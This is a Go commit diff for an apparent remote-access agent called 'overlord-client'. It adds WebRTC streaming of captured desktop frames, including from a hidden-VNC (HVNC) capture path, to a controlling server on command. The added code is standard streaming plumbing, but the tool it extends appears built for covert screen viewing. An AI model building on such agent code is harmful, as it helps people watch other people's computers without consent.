This commit is contained in:
KingKDot
2026-05-13 13:44:33 -05:00
parent 30b6c63cfc
commit 8e97a32567
28 changed files with 1571 additions and 4 deletions
@@ -19,6 +19,7 @@ import (
"time"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
)
@@ -146,6 +147,21 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error {
if ctx.Err() != nil {
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive() {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(frame.Data, dur); werr != nil {
log.Printf("webrtc: write h264 failed: %v", werr)
}
statFrames.Add(1)
statCapNs.Add(captureDur.Nanoseconds())
statEncNs.Add(encodeDur.Nanoseconds())
statTotalNs.Add(time.Since(t0).Nanoseconds())
statBytes.Add(int64(len(frame.Data)))
return nil
}
if !AcquireFrameSlot() {
return nil // backpressure: server hasn't acked previous frames
}
@@ -567,6 +583,9 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
log.Printf("capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
codec = "jpeg"
} else {
if webrtcpub.ConsumeKeyframeRequest() {
resetH264Encoder()
}
h264Bytes, err := encodeH264Frame(img)
if err == nil && len(h264Bytes) > 0 {
prevMu.Lock()
@@ -672,6 +691,9 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
codec = "jpeg"
} else {
if webrtcpub.ConsumeKeyframeRequest() {
resetH264Encoder()
}
h264Bytes, err := encodeH264Frame(img)
if err == nil && len(h264Bytes) > 0 {
prevMu.Lock()
@@ -610,6 +610,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
env.Plugins.Unload(pluginId)
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
return nil
case "webrtc_publish":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
sendCommandResultSafe(env, cmdID, false, "missing payload")
return nil
}
return handleWebrtcPublish(ctx, env, cmdID, payload)
case "webrtc_stop":
return handleWebrtcStop(ctx, env, cmdID)
case "webrtc_p2p_offer":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
sendCommandResultSafe(env, cmdID, false, "missing payload")
return nil
}
return handleWebrtcP2POffer(ctx, env, cmdID, payload)
case "webrtc_p2p_ice":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return nil
}
return handleWebrtcP2PIce(ctx, env, cmdID, payload)
case "webrtc_p2p_stop":
return handleWebrtcP2PStop(ctx, env, cmdID)
case "desktop_start":
if goruntime.GOOS == "darwin" {
perms := sysinfo.DarwinPermissions()
@@ -0,0 +1,154 @@
package handlers
import (
"context"
"fmt"
"log"
"net/url"
"strings"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
)
func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
whipPath, _ := payload["whipPath"].(string)
token, _ := payload["token"].(string)
if whipPath == "" || token == "" {
sendCommandResultSafe(env, cmdID, false, "missing whipPath/token")
return nil
}
whipURL, err := buildWhipURL(env, whipPath)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
opts := webrtcpub.Options{
WhipURL: whipURL,
PublishToken: token,
TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
TLSCAPath: env.Cfg.TLSCAPath,
}
goSafe("webrtc publish", env.Cancel, func() {
if _, err := webrtcpub.Start(ctx, opts); err != nil {
log.Printf("webrtc: publish start failed: %v", err)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(),
})
return
}
// Force the encoder to emit a fresh SPS/PPS/IDR so the freshly
// subscribed viewer can start decoding immediately — otherwise it has
// to wait up to keyframeEvery for the next natural IDR.
capture.ResetPrev()
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
})
return nil
}
func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string) error {
_ = ctx
webrtcpub.Stop()
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
sessionID, _ := payload["sessionId"].(string)
offerSDP, _ := payload["sdp"].(string)
if sessionID == "" || offerSDP == "" {
sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp")
return nil
}
callbacks := webrtcpub.P2POfferCallbacks{
OnICE: func(c webrtcpub.ICECandidate) {
if c.Candidate == "" {
return
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{
Type: "webrtc_p2p_ice",
SessionID: sessionID,
Candidate: c.Candidate,
SDPMid: c.SDPMid,
SDPMLineIndex: c.SDPMLineIndex,
})
},
OnClose: func() {
log.Printf("webrtc: P2P session %s closed", sessionID)
},
}
answerSDP, err := webrtcpub.StartP2POffer(ctx, sessionID, offerSDP, callbacks)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
// Force a fresh SPS/PPS/IDR so the new P2P viewer can decode immediately.
capture.ResetPrev()
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
Type: "webrtc_p2p_answer",
SessionID: sessionID,
SDP: answerSDP,
})
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
sessionID, _ := payload["sessionId"].(string)
candidate, _ := payload["candidate"].(string)
mid, _ := payload["sdpMid"].(string)
var idx uint16
if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok {
idx = uint16(v)
}
webrtcpub.AddP2PICECandidate(sessionID, webrtcpub.ICECandidate{
Candidate: candidate,
SDPMid: mid,
SDPMLineIndex: idx,
})
_ = env
_ = cmdID
return nil
}
func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string) error {
webrtcpub.StopP2P()
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func buildWhipURL(env *runtime.Env, whipPath string) (string, error) {
if len(env.Cfg.ServerURLs) == 0 {
return "", fmt.Errorf("no server URLs configured")
}
idx := env.Cfg.ServerIndex
if idx < 0 || idx >= len(env.Cfg.ServerURLs) {
idx = 0
}
base, err := url.Parse(env.Cfg.ServerURLs[idx])
if err != nil {
return "", fmt.Errorf("parse server url: %w", err)
}
switch strings.ToLower(base.Scheme) {
case "wss":
base.Scheme = "https"
case "ws":
base.Scheme = "http"
}
if !strings.HasPrefix(whipPath, "/") {
whipPath = "/" + whipPath
}
base.Path = whipPath
base.RawQuery = ""
base.Fragment = ""
return base.String(), nil
}
@@ -0,0 +1,191 @@
//go:build overlord_webrtc
package webrtcpub
import (
"context"
"errors"
"fmt"
"log"
"sync"
"github.com/pion/webrtc/v4"
)
type p2pSession struct {
id string
pc *webrtc.PeerConnection
track *webrtc.TrackLocalStaticSample
onICE func(ICECandidate)
onClose func()
closeOnce sync.Once
}
var (
p2pMu sync.Mutex
p2p *p2pSession
)
func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POfferCallbacks) (string, error) {
if sessionID == "" {
return "", errors.New("webrtcpub: empty sessionID")
}
if offerSDP == "" {
return "", errors.New("webrtcpub: empty offer SDP")
}
StopP2P()
mediaEngine := &webrtc.MediaEngine{}
if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
RTPCodecCapability: webrtc.RTPCodecCapability{
MimeType: webrtc.MimeTypeH264,
ClockRate: 90000,
SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f",
},
PayloadType: 102,
}, webrtc.RTPCodecTypeVideo); err != nil {
return "", fmt.Errorf("register codec: %w", err)
}
api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
pc, err := api.NewPeerConnection(webrtc.Configuration{
ICEServers: []webrtc.ICEServer{
{URLs: []string{"stun:stun.l.google.com:19302"}},
},
})
if err != nil {
return "", fmt.Errorf("new peer connection: %w", err)
}
track, err := webrtc.NewTrackLocalStaticSample(
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
"overlord-video-p2p", "overlord-desktop",
)
if err != nil {
_ = pc.Close()
return "", fmt.Errorf("new track: %w", err)
}
transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
Direction: webrtc.RTPTransceiverDirectionSendonly,
})
if err != nil {
_ = pc.Close()
return "", fmt.Errorf("add transceiver: %w", err)
}
if sender := transceiver.Sender(); sender != nil {
go drainRTCP(sender)
}
sess := &p2pSession{
id: sessionID,
pc: pc,
track: track,
onICE: opts.OnICE,
onClose: opts.OnClose,
}
pc.OnICECandidate(func(c *webrtc.ICECandidate) {
if sess.onICE == nil {
return
}
if c == nil {
sess.onICE(ICECandidate{Candidate: ""})
return
}
init := c.ToJSON()
mid := ""
if init.SDPMid != nil {
mid = *init.SDPMid
}
var idx uint16
if init.SDPMLineIndex != nil {
idx = *init.SDPMLineIndex
}
sess.onICE(ICECandidate{
Candidate: init.Candidate,
SDPMid: mid,
SDPMLineIndex: idx,
})
})
pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
log.Printf("webrtcpub: P2P peer state=%s", state)
switch state {
case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed, webrtc.PeerConnectionStateDisconnected:
sess.closeAndUnregister()
}
})
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
Type: webrtc.SDPTypeOffer,
SDP: offerSDP,
}); err != nil {
_ = pc.Close()
return "", fmt.Errorf("set remote desc: %w", err)
}
answer, err := pc.CreateAnswer(nil)
if err != nil {
_ = pc.Close()
return "", fmt.Errorf("create answer: %w", err)
}
if err := pc.SetLocalDescription(answer); err != nil {
_ = pc.Close()
return "", fmt.Errorf("set local desc: %w", err)
}
p2pMu.Lock()
p2p = sess
p2pMu.Unlock()
registerWriter(p2pWriterID(sessionID), &trackWriter{t: track})
return answer.SDP, nil
}
func AddP2PICECandidate(sessionID string, c ICECandidate) {
if c.Candidate == "" {
return
}
p2pMu.Lock()
sess := p2p
p2pMu.Unlock()
if sess == nil || sess.id != sessionID {
return
}
mid := c.SDPMid
idx := c.SDPMLineIndex
if err := sess.pc.AddICECandidate(webrtc.ICECandidateInit{
Candidate: c.Candidate,
SDPMid: &mid,
SDPMLineIndex: &idx,
}); err != nil {
log.Printf("webrtcpub: add p2p ICE candidate failed: %v", err)
}
}
// StopP2P tears down the active P2P session, if any.
func StopP2P() {
p2pMu.Lock()
sess := p2p
p2p = nil
p2pMu.Unlock()
if sess != nil {
sess.closeAndUnregister()
}
}
func (s *p2pSession) closeAndUnregister() {
s.closeOnce.Do(func() {
unregisterWriter(p2pWriterID(s.id))
_ = s.pc.Close()
if s.onClose != nil {
s.onClose()
}
})
p2pMu.Lock()
if p2p == s {
p2p = nil
}
p2pMu.Unlock()
}
func p2pWriterID(sessionID string) string {
return "p2p:" + sessionID
}
@@ -0,0 +1,85 @@
package webrtcpub
import (
"sync"
"sync/atomic"
"time"
)
type FrameWriter interface {
WriteH264(nalu []byte, dur time.Duration) error
}
var (
writersMu sync.RWMutex
writers = map[string]FrameWriter{}
)
func registerWriter(id string, w FrameWriter) {
if id == "" || w == nil {
return
}
writersMu.Lock()
writers[id] = w
writersMu.Unlock()
}
func unregisterWriter(id string) {
if id == "" {
return
}
writersMu.Lock()
delete(writers, id)
writersMu.Unlock()
}
func IsActive() bool {
writersMu.RLock()
defer writersMu.RUnlock()
return len(writers) > 0
}
var keyframeWanted atomic.Bool
func RequestKeyframe() {
keyframeWanted.Store(true)
}
func ConsumeKeyframeRequest() bool {
return keyframeWanted.Swap(false)
}
func WriteH264(nalu []byte, dur time.Duration) error {
if len(nalu) == 0 {
return nil
}
writersMu.RLock()
defer writersMu.RUnlock()
for _, w := range writers {
_ = w.WriteH264(nalu, dur)
}
return nil
}
// Deadass fuck WebRTC bro ts is so confusing
type Options struct {
// (e.g. https://server:5173/api/webrtc/agents/abc/whip).
WhipURL string
// PublishToken is the bearer token issued by the server.
PublishToken string
// TLSInsecureSkipVerify mirrors the agent's existing TLS config.
TLSInsecureSkipVerify bool
// TLSCAPath is an optional custom CA bundle.
TLSCAPath string
}
type ICECandidate struct {
Candidate string `msgpack:"candidate"`
SDPMid string `msgpack:"sdpMid"`
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
}
type P2POfferCallbacks struct {
OnICE func(c ICECandidate)
OnClose func()
}
@@ -0,0 +1,28 @@
//go:build !overlord_webrtc
package webrtcpub
import (
"context"
"errors"
)
var ErrNotCompiled = errors.New("webrtc support not compiled in (build with -tags overlord_webrtc)")
type Publisher struct{}
func Start(_ context.Context, _ Options) (*Publisher, error) {
return nil, ErrNotCompiled
}
func Stop() {}
func (*Publisher) Close() {}
func StartP2POffer(_ context.Context, _ string, _ string, _ P2POfferCallbacks) (string, error) {
return "", ErrNotCompiled
}
func AddP2PICECandidate(_ string, _ ICECandidate) {}
func StopP2P() {}
@@ -0,0 +1,258 @@
//go:build overlord_webrtc
package webrtcpub
import (
"bytes"
"context"
"crypto/tls"
"crypto/x509"
"errors"
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
"github.com/pion/rtcp"
"github.com/pion/webrtc/v4"
"github.com/pion/webrtc/v4/pkg/media"
)
func drainRTCP(sender *webrtc.RTPSender) {
buf := make([]byte, 1500)
for {
n, _, err := sender.Read(buf)
if err != nil {
return
}
packets, err := rtcp.Unmarshal(buf[:n])
if err != nil {
continue
}
for _, p := range packets {
switch p.(type) {
case *rtcp.PictureLossIndication, *rtcp.FullIntraRequest:
RequestKeyframe()
}
}
}
}
type trackWriter struct {
t *webrtc.TrackLocalStaticSample
}
func (w *trackWriter) WriteH264(nalu []byte, dur time.Duration) error {
return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur})
}
const whipWriterID = "whip"
type Publisher struct {
pc *webrtc.PeerConnection
resourceURL string
token string
httpClient *http.Client
closeOnce sync.Once
}
var (
whipMu sync.Mutex
whip *Publisher
)
func Start(ctx context.Context, opts Options) (*Publisher, error) {
if strings.TrimSpace(opts.WhipURL) == "" {
return nil, errors.New("webrtcpub: empty WhipURL")
}
if strings.TrimSpace(opts.PublishToken) == "" {
return nil, errors.New("webrtcpub: empty PublishToken")
}
Stop()
httpClient := buildHTTPClient(opts)
mediaEngine := &webrtc.MediaEngine{}
if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
RTPCodecCapability: webrtc.RTPCodecCapability{
MimeType: webrtc.MimeTypeH264,
ClockRate: 90000,
SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f",
},
PayloadType: 102,
}, webrtc.RTPCodecTypeVideo); err != nil {
return nil, fmt.Errorf("register codec: %w", err)
}
api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
pc, err := api.NewPeerConnection(webrtc.Configuration{})
if err != nil {
return nil, fmt.Errorf("new peer connection: %w", err)
}
track, err := webrtc.NewTrackLocalStaticSample(
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
"overlord-video", "overlord-desktop",
)
if err != nil {
_ = pc.Close()
return nil, fmt.Errorf("new track: %w", err)
}
transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
Direction: webrtc.RTPTransceiverDirectionSendonly,
})
if err != nil {
_ = pc.Close()
return nil, fmt.Errorf("add transceiver: %w", err)
}
if sender := transceiver.Sender(); sender != nil {
go drainRTCP(sender)
}
offer, err := pc.CreateOffer(nil)
if err != nil {
_ = pc.Close()
return nil, fmt.Errorf("create offer: %w", err)
}
gathered := webrtc.GatheringCompletePromise(pc)
if err := pc.SetLocalDescription(offer); err != nil {
_ = pc.Close()
return nil, fmt.Errorf("set local desc: %w", err)
}
select {
case <-gathered:
case <-time.After(5 * time.Second):
log.Printf("webrtcpub: ICE gathering timeout; continuing with partial candidates")
case <-ctx.Done():
_ = pc.Close()
return nil, ctx.Err()
}
answerSDP, resourceURL, err := postWhip(ctx, httpClient, opts.WhipURL, opts.PublishToken, pc.LocalDescription().SDP)
if err != nil {
_ = pc.Close()
return nil, err
}
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
Type: webrtc.SDPTypeAnswer,
SDP: answerSDP,
}); err != nil {
_ = pc.Close()
return nil, fmt.Errorf("set remote desc: %w", err)
}
pub := &Publisher{
pc: pc,
resourceURL: resourceURL,
token: opts.PublishToken,
httpClient: httpClient,
}
pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
log.Printf("webrtcpub: WHIP peer state=%s", state)
switch state {
case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed:
whipMu.Lock()
if whip == pub {
whip = nil
}
whipMu.Unlock()
unregisterWriter(whipWriterID)
}
})
whipMu.Lock()
whip = pub
whipMu.Unlock()
registerWriter(whipWriterID, &trackWriter{t: track})
log.Printf("webrtcpub: WHIP session established (resource=%s)", resourceURL)
return pub, nil
}
func Stop() {
whipMu.Lock()
p := whip
whip = nil
whipMu.Unlock()
unregisterWriter(whipWriterID)
if p != nil {
p.Close()
}
}
func (p *Publisher) Close() {
p.closeOnce.Do(func() {
if p.resourceURL != "" {
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodDelete, p.resourceURL, nil)
if err == nil {
if p.token != "" {
req.Header.Set("Authorization", "Bearer "+p.token)
}
if resp, err := p.httpClient.Do(req); err == nil {
_ = resp.Body.Close()
}
}
}
_ = p.pc.Close()
})
}
func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp string) (string, string, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodPost, whipURL, strings.NewReader(sdp))
if err != nil {
return "", "", fmt.Errorf("build whip request: %w", err)
}
req.Header.Set("Content-Type", "application/sdp")
req.Header.Set("Authorization", "Bearer "+token)
resp, err := client.Do(req)
if err != nil {
return "", "", fmt.Errorf("whip post: %w", err)
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
if resp.StatusCode/100 != 2 {
return "", "", fmt.Errorf("whip post: %s: %s", resp.Status, bytes.TrimSpace(body))
}
resource := resp.Header.Get("Location")
if resource != "" {
if parsed, err := url.Parse(resource); err == nil && !parsed.IsAbs() {
base, _ := url.Parse(whipURL)
if base != nil {
resource = base.ResolveReference(parsed).String()
}
}
}
return string(body), resource, nil
}
func buildHTTPClient(opts Options) *http.Client {
tlsCfg := &tls.Config{
InsecureSkipVerify: opts.TLSInsecureSkipVerify,
MinVersion: tls.VersionTLS12,
}
if path := strings.TrimSpace(opts.TLSCAPath); path != "" {
if pem, err := os.ReadFile(path); err == nil {
pool := x509.NewCertPool()
if pool.AppendCertsFromPEM(pem) {
tlsCfg.RootCAs = pool
}
}
}
return &http.Client{
Timeout: 15 * time.Second,
Transport: &http.Transport{
TLSClientConfig: tlsCfg,
},
}
}
@@ -286,3 +286,17 @@ type DisconnectInfo struct {
Reason string `msgpack:"reason"` // "normal", "panic", "crash", "network", "timeout"
Detail string `msgpack:"detail,omitempty"` // error message
}
type WebRTCP2PAnswer struct {
Type string `msgpack:"type"`
SessionID string `msgpack:"sessionId"`
SDP string `msgpack:"sdp"`
}
type WebRTCP2PIce struct {
Type string `msgpack:"type"`
SessionID string `msgpack:"sessionId"`
Candidate string `msgpack:"candidate"`
SDPMid string `msgpack:"sdpMid"`
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
}